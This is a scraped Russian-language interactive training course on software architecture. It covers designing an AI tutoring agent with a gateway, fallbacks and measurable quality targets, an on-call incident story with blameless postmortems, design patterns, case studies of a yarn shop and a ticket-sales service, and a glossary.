Главное в реестре — колонка «проценты». Она переводит спор «надо бы переписать» в разговор с бизнесом на его языке: «Мы платим 2 дня в месяц. Исправление стоит 5 дней. Окупится за три месяца».
Реестр рисков и интерактив: оцените риски «Ботинка»
Двигайте ползунки у четырёх рисков. На тепловой карте справа риски переедут в свою зону, а ниже выстроятся по оценке с рекомендацией, что делать.
глава 14 · проверь себя двенадцать вопросов
Решено 0 из 0.
ИИ-система — это обычная система, в которую взяли очень способного, но дорогого и иногда сочиняющего сотрудника со стороны. Почти вся «ИИ-архитектура» — про то, как с ним работать: пускать через одну дверь, давать только нужные бумаги, записывать каждый шаг, проверять экзаменом и держать запасной план. Разбираем это на настоящем кейсе — учебном агенте «Навигатор» школы AMP — и рисуем его по C4: контекст, контейнеры, роли, сценарий с отказами и требования к качеству в числах.
зачем это зачем рисовать ИИ-систему отдельно
карта раздела один вопрос ученика — семь глав
Главы идут по порядку, каждая опирается на предыдущую. В главах 2–6 есть задания: они засчитываются по отдельности. У части заданий есть лестница подсказок — открывайте по одной, если застряли.
глава 1 · завязка «хочу через месяц на собеседование»: путь одного вопроса
Сначала — без терминов. Есть справочное бюро. Вы приходите с вопросом, библиотекарь смотрит вашу карточку, ищет по каталогу, приносит три книги и говорит, с какой начать. Если книги нет, он так и говорит, а не сочиняет название. «Навигатор» устроен так же, только библиотекарь — языковая модель.
get_profile», вызывает его наш код, а результат кладёт обратно в разговор. Инструмент (tool) — функция с именем, описанием и схемой аргументов, которую агенту разрешено звать.История
Интерактив: путь вопроса Ани по шагам
Нажимайте «Дальше →» или тыкайте в стрелки. Обратите внимание на шаги 2 и 9: это правила, которые выполняются без модели.
глава 2 · контекст что появляется на схеме контекста и что уходит наружу
У ИИ-системы на схеме контекста появляются три новых вещи:
🌐 Поставщик модели
Чужая система — как банк или служба доставки. Мы не можем её менять, она может не ответить, и туда уходят наши данные. На стрелке к ней пишут, что именно уходит.
👥 Новые люди
Методист пишет инструкцию агента. Разметчик собирает эталонные вопросы. Редактор публикует занятия. Преподаватель читает журнал шагов. Разработчик подключается к инструментам через MCP.
🚧 Граница доверия
Всё, что пересекает стрелку к поставщику, надо перечислить: текст цели, инструкция, результаты инструментов. Пока не перечислено — никто не заметит, что туда ушёл телефон.
Интерактив: обычная система и ИИ-система
Переключайте режимы. Элементы с пометкой «новое» появились из-за модели. Сравните, что пересекает границу системы, когда модель внешняя и когда своя.
Внешняя или своя модель: что меняется
| Внешняя (GigaChat по API) | Своя (Ollama на своём сервере с видеокартой) | |
|---|---|---|
| Данные | уходят поставщику; нужны договор и правило «отдаём только нужное» | остаются внутри контура школы |
| Деньги | платим за токены, только когда спрашивают | платим за сервер каждый месяц, даже ночью, когда никто не спрашивает |
| Качество | крупные модели, лучше рассуждают на сложных вопросах | модели поменьше: на простых вопросах хватает, на сложных слабее |
| Отказы | поставщик может лечь или ограничить число запросов в минуту | сервер ляжет — чинить самим |
| Изменения | поставщик обновил модель — ответы поменялись без нашего релиза | версия модели меняется только нашим решением |
Найдите в запросе к модели то, что отправлять нельзя
Разработчик Костя написал первую версию инструмента get_profile: он отдаёт строку профиля целиком. А в тексте цели Аня вставила письмо от работодателя. Ниже — запрос, который агент собирается отправить внешнему поставщику. Нажмите на каждый кусок, которого там быть не должно, и нажмите «Проверить».
глава 3 · контейнеры шесть новых коробок внутри системы
Нажмите на карточку, чтобы раскрыть: что контейнер делает, что будет без него и как он устроен в «Навигаторе».
Соберите схему контейнеров «Навигатора»
На схеме — обычная платформа: кабинет, API с агентом, база профилей, граф навыков и внешний поставщик модели. Справа — восемь требований к «Навигатору». Добавляйте коробки из набора, пока каждое требование не будет закрыто, и нажмите «Проверить схему». В наборе есть коробки, которые вредят.
глава 4 · роли и доступы кто правит подсказку, кто эталоны, кто базу знаний
Правило 1. Минимальные права
Каждой роли — только то, без чего она не сделает свою работу. У агента это особенно важно: модель могут уговорить текстом вопроса (подмена инструкции, prompt injection), и тогда агент сделает всё, что ему разрешено. Пусть разрешено мало.
Правило 2. Четыре глаза
Кто пишет экзамен, не правит то, что экзаменуют. Иначе экзамен незаметно подстраивается под ответы, и качество «растёт» на бумаге.
Заполните матрицу доступа «Навигатора»
Нажимайте на клетку: — нет доступа → читает → пишет → снова —. «Пишет» значит создаёт и меняет. Заполните все пять строк и нажмите «Проверить».
глава 5 · последовательность сценарий с отказами: что делает агент, когда что-то пошло не так
🔎 Поиск пуст → модель не зовём
Пересказывать нечего — модель начнёт сочинять. Отвечаем честным шаблоном «не нашёл» и отправляем редактору сигнал «искали это, а у нас нет».
🌊 Ответ идёт потоком
Первые слова через 1–2 секунды вместо всего ответа через 10. По SSE идут кусочки текста, потом событие «готово» с кнопками.
🔁 Поставщик молчит → запасная модель
Таймаут считают до первого слова, а не до конца ответа. Не пришло первое слово за 4 секунды — шлюз шлёт тот же запрос запасной модели. Молчит и она — ответ без модели.
💸 Бюджет исчерпан → деградация
Шлюз закрывает дорогую модель. Дальше — своя модель или ответ без модели: пробелы из профиля и тренажёры из каталога. Ученик видит пометку «упрощённый режим».
Интерактив: проиграйте сценарий с отказами
Включайте отказы и смотрите, как меняется диаграмма, что видит Аня и сколько это стоит. Отказы можно сочетать.
Что делает система в каждой ситуации?
Выберите правильное поведение. Ошиблись — прочитайте, почему, и попробуйте другой вариант. Решено 0 из 0.
глава 6 · качество сценарии качества для ИИ: как записать «отвечает правильно»
В разделе «Зачем архитектура» вы собирали сценарий атрибута качества из шести частей, а в «Документировании» — дерево полезности. Для ИИ форма та же. Меняется то, что меряют, и на чём: модель отвечает по-разному на один и тот же вопрос, поэтому меряют не «ответил ли правильно», а долю правильных ответов на заранее собранном наборе.
Пять новых строк в требованиях
📎 Опора на источник
Доля ответов, где каждая рекомендация опирается на найденный фрагмент: навык, тренажёр, занятие. ≥ 95 % на 150 эталонных вопросах.
🦄 Доля выдумок
Доля ответов, где упомянут несуществующий тренажёр, занятие или навык. ≤ 1 %, проверка автоматическая — каждое название сверяется с каталогом.
⏱ Задержка до первого слова
Сколько ученик ждёт, пока ответ начнёт появляться. p95 ≤ 2 с в вечерний пик; весь ответ — p95 ≤ 15 с.
💸 Стоимость ответа
Сколько стоит один ответ в токенах и рублях. Медиана ≤ 1,5 ₽, за сутки ≤ 3 000 ₽; при исчерпании — дорогая модель закрыта.
🌱 Свежесть базы
Как быстро новое занятие становится видно агенту. ≤ 60 минут от публикации в 99 % случаев.
🛡 Устойчивость к подмене инструкции
Текст вопроса не должен переписать правила агента. 0 из 40 атак из набора приводят к выдаче чужих данных.
Интерактив: дерево полезности «Навигатора»
Сначала посмотрите дерево обычной системы, потом добавьте ИИ-строки. Нажмите на лист — откроется сценарий из шести частей и способ проверки. Пара букв — важность для бизнеса и сложность (В — высокая, С — средняя, Н — низкая); красным отмечены пары (В, В): их обсуждают первыми.
Перепишите пожелания в измеримые сценарии качества для ИИ
Заказчица сказала про «Навигатор» четыре фразы. Для каждой соберите сценарий из шести частей: в каждой строке одна формулировка измеримая, две — ловушки. Переписано 0 из 4.
глава 7 · итог чек-лист схемы ИИ-системы
Схема и требования ИИ-системы готовы к обсуждению с архитектором и службой безопасности, если:
- Поставщик модели нарисован как внешняя система, а на стрелке к нему перечислено, что уходит наружу.
- Все вызовы модели идут через шлюз: у него есть запасная модель, таймаут до первого слова и дневной бюджет.
- Есть индекс знаний и процесс, который его наполняет; записано, насколько свежим он должен быть.
- Есть эталонный набор и правило: без экзамена новая инструкция или модель не выкатывается.
- Журнал шагов пишет версию инструкции, токены и цену, но не почту и телефоны.
- Для каждой роли записано, что она может; ключ поставщика читает только шлюз; агент только читает и дописывает журнал.
- На диаграмме последовательности есть ветки «пусто», «поставщик молчит», «бюджет кончился».
- Требования к качеству для ИИ записаны числами и проверяются на наборе, а не на демо.
Этот раздел не читают подряд — к нему возвращаются. Паттерн — это готовый ответ на задачу, которая уже много раз встречалась другим. Когда вы видите симптом («экран тормозит», «оплата прошла, а заказ не создан»), кто-то до вас уже набил на нём шишки и придумал приём. Здесь эти приёмы собраны в одном месте. Во всех карточках один и тот же герой: Анна покупает в интернет-магазине. Так проще увидеть, что каждый приём меняет для живого человека. Начните с главы 2: выберите свою беду, и каталог сам подскажет, куда смотреть.
глава 1 · как читать каждая карточка — маленький рассказ
Все карточки устроены одинаково. Сначала вы видите только название, одну фразу «что это» и проблему. Нажмите на карточку, и она раскроется в рассказ из семи частей:
- Что это — одна фраза, без терминов.
- На пальцах — житейская аналогия: кухня, почта, очередь в банке.
- Как это у Анны — что именно меняется для покупательницы, когда приём есть (или когда его нет).
- Как устроено — само решение, уже инженерным языком.
- Когда брать и что даёт.
- Чем платишь — у любого приёма есть цена. Если цену не видно, вы просто её ещё не заплатили.
- Когда не надо — самая полезная строчка. Хороший приём в неподходящем месте вредит сильнее, чем его отсутствие.
Ниже у многих карточек есть живая схема: кнопки «Без паттерна» и «С паттерном», пошаговый показ и код. А кнопка «Подробный разбор» ведёт в раздел тренажёра, где приём разобран целиком.
глава 2 · от беды к паттерну что у вас болит?
Обычно всё начинается не с названия паттерна, а с жалобы: «тормозит», «потерялось», «упало». Выберите, на что похожа ваша ситуация. Мы расскажем, что при этом видит Анна, и подсветим приёмы, которые лечат именно это.
↑ Выберите симптом, чтобы увидеть подходящие паттерны.
глава 3 · каталог все паттерны по полкам
Ищите по слову (работает и по-русски, и по-английски) или выберите полку. Нажмите на карточку, чтобы раскрыть рассказ.
Этот раздел — одна история. Ночь, три часа. У Анны не проходит оплата, а у Игоря звонит телефон: он на этой неделе дежурный. Проследим эту ночь от первой ошибки до утреннего разбора, а потом вы сами сядете на место дежурного. Идите по главам по порядку: каждая опирается на предыдущую.
карта раздела куда мы идём
глава 1 · определение что такое дежурство и зачем оно
Житейская аналогия — дежурный врач в больнице. Ночью в больнице нет всех врачей сразу, но есть один дежурный. Ему звонят, если пациенту стало плохо. Он не делает сложных операций на плановом уровне — он стабилизирует пациента и дожидается утра, когда придёт вся команда.
Прежде чем идти дальше, четыре слова. Они будут встречаться в каждой главе.
Зачем всё это? Посмотрите на одну и ту же ночь в двух вариантах. В 02:58 в магазине сломались оплаты. Ночью магазин получает примерно 6 оплат в минуту, средний чек 3 200 ₽.
глава 2 · сквозной пример ночь Анны: от ошибки до разбора
Герои этой ночи. Анна — клиентка, покупает подарок на распродаже. Игорь — разработчик, на этой неделе основной дежурный. Марина — запасная дежурная. Олег — руководитель команды. Нажимайте «Дальше»: на схеме подсветится, где сейчас происходит действие, ниже — данные этого шага и объяснение, почему всё сделано именно так.
глава 3 · эскалация что будет, если Игорь не проснётся
В шаге 5 Игорь подтвердил алерт через три минуты. А если бы он крепко спал или телефон сел? Для этого есть эскалация — заранее записанная лестница: кому звонить, если предыдущий не ответил за отведённое время.
Аналогия — эстафета. Если бегун не взял палочку, её не бросают на дорожку: её берёт следующий. Никто не решает это в моменте — порядок известен до старта.
глава 4 · хороший алерт что должно будить человека ночью
В ночи Анны алерт был правильным: он сработал на то, что клиенты не могут заплатить. Это называется алерт на симптом — на то, что чувствует пользователь. Противоположность — алерт на причину: «процессор загружен на 90 %». Процессор может быть загружен, а клиенты при этом довольны.
Аналогия — пожарная сигнализация. Если она воет от каждого подгоревшего тоста, через неделю её отключат батарейкой. Так же и с алертами: если будить дежурного по пустякам, он привыкнет их игнорировать и пропустит настоящий пожар. Это называют усталостью от алертов.
Правило простое. Будить ночью — только если клиенты страдают сейчас или будут страдать до утра. Всё, что может подождать, — задача в трекере на утро. Всё, что не требует действий, — просто график. Разложите:
Разложено верно: 0 из 0.
глава 5 · главное правило жгут, а не операция
Вспомните шаг 8: Игорь не искал сломанную строку кода — он откатил версию. У дежурного два разных действия, и путать их нельзя.
🩹 Смягчение (mitigation)
Быстро убрать боль клиентов, не разбираясь в причине. Откат, выключение функции флагом, перевод трафика в другое место. Минуты. Делается ночью.
🔧 Исправление (fix)
Найти настоящую причину и устранить её в коде или настройках, чтобы не повторилось. Часы или дни. Делается днём, с ревью и тестами.
Аналогия — врач скорой помощи. На месте аварии он накладывает жгут и везёт в больницу. Он не делает операцию на обочине: там нет света, инструментов и второго хирурга. Операция будет утром, в операционной. Дежурный ночью — врач скорой, а не хирург.
| Вопрос | Смягчение | Исправление |
|---|---|---|
| Цель | Клиенты снова могут пользоваться | Больше не повторится |
| Нужно знать причину? | Нет, достаточно знать место | Да, точно |
| Новый код? | Нет, только готовые рычаги | Да |
| Когда | Сразу, хоть в 3 ночи | Утром, после разбора |
| В ночи Анны | Откат на v2.13 | Тест формата суммы, канареечная выкатка |
Из этого принципа вытекают четыре правила, по которым живёт любой дежурный. Нажмите на правило, чтобы раскрыть объяснение.
глава 6 · тренажёр развилок первые 15 минут: ведёте вы
Теперь вы на месте дежурного. Другая ночь, другая авария. Каждое решение двигает часы и ведёт по своей ветке — как в книге-игре. Справа копится журнал ваших действий: ровно то, что потом прочтут на разборе.
глава 7 · игра смена дежурного — 8 инцидентов
Разминка кончилась, начинается целая смена. Восемь вызовов подряд. У вас есть симптомы и четыре кнопки — надо выбрать, что делать первым. Каждое решение стоит минут простоя. Задача — не набрать баллы, а потерять поменьше времени. Подсказка: почти везде работает правило из главы 5.
глава 8 · постмортем утро: разбор без виноватых
Аналогия — авиация. После любого происшествия лётчики честно рассказывают, что сделали не так, и их за это не увольняют. Поэтому авиация учится на каждой ошибке и стала самым безопасным транспортом. Если бы пилотов наказывали, они бы молчали, и ошибки повторялись.
Почему нельзя просто найти виноватого? Человек ошибается всегда. Вопрос в том, почему ошибка дошла до клиентов: где были тесты, ревью, постепенная выкатка. «Игорь, будь внимательнее» ничего не меняет в системе — завтра ошибётся кто-то другой.
Вот черновик разбора ночи Анны. Что оставить, а что вычеркнуть?
Разобрано верно: 0 из 0.
глава 9 · здоровье команды чтобы дежурные не выгорали
Дежурство — нагрузка. Каждый ночной звонок — это сломанный сон и хуже работа на следующий день. Нагрузку делят через ротацию: дежурят по очереди, обычно по неделе. Аналогия — график медсестёр: если в отделении две медсестры, каждая работает через ночь и через месяц уходит на больничный.
Подвигайте ползунки и посмотрите, как размер команды и шум алертов меняют жизнь дежурного.
глава 10 · задание проверьте себя
Шесть вопросов по всей истории. Решено: 0 из 0.
Этот раздел — одна история. Анна открыла интернет-магазин пряжи «Клубок». Сначала у неё двое разработчиков и полсотни заказов в день, через два года — четыре команды и тысячи заказов. На каждом этапе что-то случается, и архитектору надо принять решение. Вы пройдёте этот путь вместе с магазином: тридцать ситуаций из рабочей жизни, разложенных по пяти эпизодам. В разборе объясняем не только правильный ответ, но и почему остальные варианты выглядят разумно и всё-таки хуже.
карта раздела куда мы идём
глава 1 · завязка знакомьтесь: магазин Анны
Анна вяжет с детства. Однажды она решила продавать пряжу через интернет и наняла двух разработчиков. Так появился «Клубок».
У любого магазина есть возраст. В первый месяц главное — успеть запуститься. Через год — выдержать наплыв покупателей. Через два — не дать командам мешать друг другу. Правильная архитектура зависит от возраста. То, что спасает большой магазин, убивает маленький, и наоборот.
Нажмите на этапы и посмотрите, как меняется магазин и что у него болит.
глава 2 · метод как рассуждает архитектор
Прежде чем решать задачи, посмотрим, как опытный архитектор разбирает одну ситуацию. Никакой магии: он задаёт одни и те же вопросы в одном и том же порядке.
Ситуация. Чёрная пятница. Каталог «Клубка» открывается шесть секунд. Покупатели уходят. Разработчик Олег предлагает: «Давайте срочно распилим всё на микросервисы!» Нажимайте «Дальше» и следите за ходом мысли.
глава 3 · развилки проведите магазин сами
Теперь решения принимаете вы. Магазин пройдёт пять развилок. У каждого выбора есть последствия: он меняет скорость команды, устойчивость, сложность системы и счёт за серверы. Вернуться назад нельзя — как и в жизни. Зато в конце можно сыграть заново.
глава 4 · эпизод 1 старт: двое разработчиков и три месяца
Что случилось
Анна нашла деньги на запуск. Двое разработчиков, срок — к осени. Все вокруг говорят про микросервисы, Kafka и gRPC.
Что выбираем
Форму системы: одно приложение или много. И какие модные технологии брать прямо сейчас.
Почему это трудно
Каждая технология решает чью-то настоящую проблему. Вопрос в том, есть ли эта проблема у «Клубка» сегодня.
Что будет дальше
Решение станет фундаментом. Если его записать, через год будет понятно, почему выбрали именно так.
Где это разобрано:
В эпизоде решено 0 из 0
глава 5 · эпизод 2 первые деньги: заказы и оплата
Что случилось
Магазин запустился. Анна получает первые заказы, подключён платёжный сервис, покупателям уходят письма.
Что выбираем
Как сделать, чтобы деньги не списались дважды, заказ не потерялся, а письмо не ушло раньше оплаты.
Почему это трудно
Сеть ненадёжна. Любой запрос может дойти дважды, прийти с опозданием или не прийти вовсе.
Что будет дальше
Появятся события о заказах. Их формат станет договором с другими частями системы — и ломать его будет больно.
Где это разобрано:
В эпизоде решено 0 из 0
глава 6 · эпизод 3 рост: второй сервер и первые выкатки на ходу
Что случилось
Прошёл год. Покупателей стало в двадцать раз больше. Один сервер не справляется, а выкатывать новую версию ночью уже нельзя — покупатели есть и ночью.
Что выбираем
Как запустить несколько копий приложения и обновлять их так, чтобы никто не заметил.
Почему это трудно
Всё, что приложение помнило «у себя» — файлы, сессии, — перестаёт работать, когда копий две.
Что будет дальше
Копии станут взаимозаменяемыми. Это откроет дорогу к масштабированию и выкаткам без простоя.
Где это разобрано:
В эпизоде решено 0 из 0
глава 7 · эпизод 4 команд стало три: данные и связи
Что случилось
Год второй. Каталог, заказы и склад ведут разные команды. У каждой своя база. Анна хочет отчёты и дашборды.
Что выбираем
Кому принадлежат данные и правила, как части узнают об изменениях друг друга, насколько свежими должны быть цифры.
Почему это трудно
Самый быстрый путь — залезть в чужую базу или вынести «общее» в одно место. Сегодня это экономит день, завтра связывает команды по рукам.
Что будет дальше
Если границы проведены честно, команды выкатываются независимо. Если нет — каждое изменение превращается в совещание трёх команд.
Где это разобрано:
В эпизоде решено 0 из 0
глава 8 · эпизод 5 ночные пожары: надёжность и наблюдаемость
Что случилось
Год третий. Сервисов двенадцать. Что-то падает почти каждую неделю, и дежурный узнаёт об этом от покупателей.
Что выбираем
Как сделать, чтобы падение одной части не роняло всё, и как быстро понять, что сломалось.
Почему это трудно
В распределённой системе что-то сломано всегда. Вопрос не «как не падать», а «как падать мягко».
Что будет дальше
Если отказы изолированы, а логи собраны в одном месте, ночной пожар тушится за минуты, а не за часы.
Где это разобрано:
В эпизоде решено 0 из 0
глава 9 · итог что вы унесёте из этой истории
Магазин Анны прошёл путь от двух разработчиков до четырёх команд. Если сжать все тридцать ситуаций в одну мысль, получится так: архитектор выбирает самое простое решение, которое закрывает настоящую проблему, и честно называет его цену.
итог сформировать код результата
Когда закончите, впишите имя и нажмите кнопку — получится короткий код с вашим прогрессом по всем разделам. Его можно отправить преподавателю или сохранить себе.
Этот раздел — одна история. Мы проектируем сервис продажи билетов «Афиша» от первых требований до выкатки. Главная героиня — Анна: она хочет купить билет на концерт в ту самую минуту, когда вместе с ней на кнопку жмут ещё пятьдесят тысяч человек. Сначала вы примете четырнадцать решений, потом увидите, как из них складывается система и как по ней проходит покупка Анны. Идите по главам по порядку.
карта раздела куда мы идём
глава 1 · вводная что строим и для кого
Компания «Афиша» продаёт билеты на концерты, спектакли и матчи. Нас позвали спроектировать систему. Чтобы не утонуть в абстракциях, будем всё время держать в голове одного человека.
Что делает бизнес
- Продаёт билеты на концерты, спектакли и матчи; часть площадок с нумерованными местами.
- Партнёры-организаторы заводят мероприятия и смотрят отчёты по продажам.
- Отличие от конкурентов — подбор мероприятий под вкус и мгновенная выдача билета.
Ограничения
- Пики: обычный день — 300 запросов в секунду (rps); старт продаж на крупный концерт — до 50 000 rps за первые минуты.
- Одно место нельзя продать дважды — это деньги, скандал и возврат.
- Команда: 14 инженеров, выделенной платформенной команды нет.
- Платежи — через внешнего провайдера; билеты уходят в почту и в приложение.
Три вещи, ради которых всё затевается
🎟 Не продать место дважды
Если место 7 в ряду 12 уйдёт и Анне, и Борису, один из них придёт на концерт и не сядет. Это самое жёсткое правило.
🌊 Пережить пик
В обычный день система почти скучает. В 12:00 нагрузка вырастает в 150 раз. Строить сервер «под пик» дорого, падать в пик — ещё дороже.
🧰 Потянуть силами 14 человек
Каждый новый сервис — это свой пайплайн, свои алерты и своё дежурство. Людей на всё не хватит, поэтому лишнего не строим.
глава 2 · как как принимается архитектурное решение
Архитектура — это не одна большая картинка, а цепочка решений. Каждое решение мы будем разбирать по одной схеме из пяти шагов. Сначала посмотрим на неё на бытовом примере, чтобы схема стала привычной.
Каждое решение опирается на разделы тренажёра, где тема разобрана подробно. Под эпизодом будут кнопки со ссылками — если что-то непонятно, загляните туда и возвращайтесь.
глава 3 · решения эпизод 1 из 14
Теперь архитектор — вы. Каждый эпизод начинается с того, что произошло с Анной или с проектом. Выберите вариант — и увидите разбор: почему он хорош или плох, чем за него платят и где тема разобрана подробно. Решения накапливаются: из них в конце соберётся документ.
глава 4 · что получилось собираем систему по кирпичику
Посмотрим, как из решений вырастает система. Нажимайте «Дальше»: на схеме по одному появляются компоненты, а подсвеченная цепочка показывает, как по ним идёт запрос Анны. Цифры в углу — порядок, в котором запрос проходит компоненты.
глава 5 · почему это важно что, если сломается
Архитектуру проверяют не в хороший день, а в плохой. Выберите аварию — схема из главы 4 покажет, что сломалось (красным) и что задело (жёлтым), а ниже будет рассказ, что при этом видит Анна и какое из ваших решений её спасло.
глава 6 · задание проверьте себя на истории Анны
Пять вопросов по тому, что мы собрали. Правильно: 0 из 5.
глава 7 · результат документ архитектурного решения
Всё, что вы решили в главе 3, собирается в документ. Такой документ обычно просят приложить к постановке задачи: он объясняет следующему архитектору, почему система устроена именно так.
Сто пятьдесят восемь слов, которые вы услышите в разговорах об архитектуре. У каждого — простое определение в одну фразу, житейская аналогия и кнопка, которая ведёт в раздел, где тема разобрана по-настоящему.
как пользоваться словарь, а не учебник
Представьте: вы на встрече, и кто-то говорит «тут нужен outbox, а то при падении реле потеряем события». Два незнакомых слова в одной фразе — и нить разговора потеряна. Глоссарий нужен ровно для такой минуты: быстро найти слово, понять его на пальцах и вернуться в разговор.
1 · Найдите слово
Начните печатать в поиске — ищет и по названию, и по объяснению. Или нажмите букву, или выберите тему.
2 · Прочитайте в три слоя
Сначала одна простая фраза. Потом аналогия из жизни — чтобы «щёлкнуло». Серым ниже — как это формулируют специалисты.
3 · Идите вглубь
Кнопка «📖 раздел» откроет часть тренажёра, где термин разобран с примерами и интерактивом.
поиск глоссарий
проверьте себя угадайте термин по аналогии
Аналогия — лучший способ проверить, что слово понятно. Прочитайте житейскую картинку и выберите термин. Правильно: 0 из 5.